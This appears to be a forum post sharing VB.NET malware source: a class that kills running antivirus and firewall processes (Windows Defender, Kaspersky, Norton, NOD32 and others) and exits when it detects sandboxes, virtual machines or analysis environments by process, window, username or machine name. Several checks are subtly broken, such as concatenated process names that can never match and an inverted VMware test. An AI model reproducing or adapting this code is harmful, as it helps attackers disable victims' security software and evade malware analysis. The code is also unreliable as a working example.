Code:
Public Class Antis
Public Shared Sub Enable()
mofo()
AntiAntiGen()
AntiAsquared()
AntiAvast()
AntiAVG()
AntiBullGuard()
AntiClamAV()
AntiComodo()
AntiEstNod32()
AntiEwido()
AntiFPROT6()
AntiKaspersky()
AntiMcAfee()
AntiNorton()
AntiOfficeScan()
AntiOutPost()
AntiPCCillin()
AntiServerProtect()
AntiSpySweeper()
AntiThreatExpert()
AntiVirtualPC()
AntiZoneAlarm()
End Sub
Public Shared Sub AntiSandboxie(ByVal frmSelect As Form)
On Error Resume Next
If frmSelect.Text.Contains("#") Then
frmSelect.Close()
End
End If
End Sub
Public Shared Sub AntiMcAfee()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "mcagent" & "mcuimgr"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiAVG()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "avgemc"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiAsquared()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "a2servic"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiAvast()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ashWebSv"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiClamAV()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "clamauto"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiComodo()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "cpf"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiEwido()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ewido"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiFPROT6()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "FPAVServer"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiKaspersky()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "kavsvc"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiBullGuard()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "BullGuard"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiZoneAlarm()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "VSMON"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiAntiGen()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "antigen"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiNorton()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ccapp"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiOfficeScan()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "tmlisten"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiPCCillin()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "pccntmon"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiServerProtect()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "earthagent"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiSpySweeper()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "spysweeper"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiVirtualPC()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "vpcmap" & "vmsrvc"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiOutPost()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "acs.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Public Shared Sub AntiEstNod32()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "nod32.exe" & "nod32krn.exe" & "ekrn.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Shared Sub mofo()
seekit("MSASCui")
seekit("msmpeng")
Antisandboxie()
IsVmWare()
AntiThreatExpert()
checkUsername()
checkComputername()
End Sub
Private Shared Sub seekit(ByVal gay1 As String)
For Each p As Process In Process.GetProcesses()
If p.ProcessName.Contains(gay1) Then
Try
p.Kill()
Catch ex As Exception
End Try
End If
Next
End Sub
Private Shared Sub checkUsername()
Dim Usernames As New List(Of String)
Usernames.Add("UserName")
Usernames.Add("User")
Usernames.Add("honey")
Usernames.Add("sandbox")
Usernames.Add("currentuser")
Usernames.Add("User")
For Each name As String In Usernames
If Environment.UserName = name Then
Environment.Exit(0)
End If
Next
End Sub
Private Shared Sub checkComputername()
Dim Computername As New List(Of String)
Computername.Add("ComputerName")
Computername.Add("COMPUTERNAME")
Computername.Add("DELL-D3E62F7E26")
Computername.Add("DWI-9625AC2E275")
Computername.Add("MICHAEL-F156CF7")
For Each name As String In Computername
If Environment.MachineName = name Then
Environment.Exit(0)
End If
Next
End Sub
Public Shared Sub antiSandboxie()
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
Environment.Exit(0)
End If
End Sub
Public Shared Sub IsVmWare()
Dim Hndl As Long
Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
If Hndl = 0 Then
Environment.Exit(0)
End If
End Sub
Private Shared Sub AntiThreatExpert()
If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
Environment.Exit(0)
End If
End Sub
End Class
J'aime:
RoRoH_AR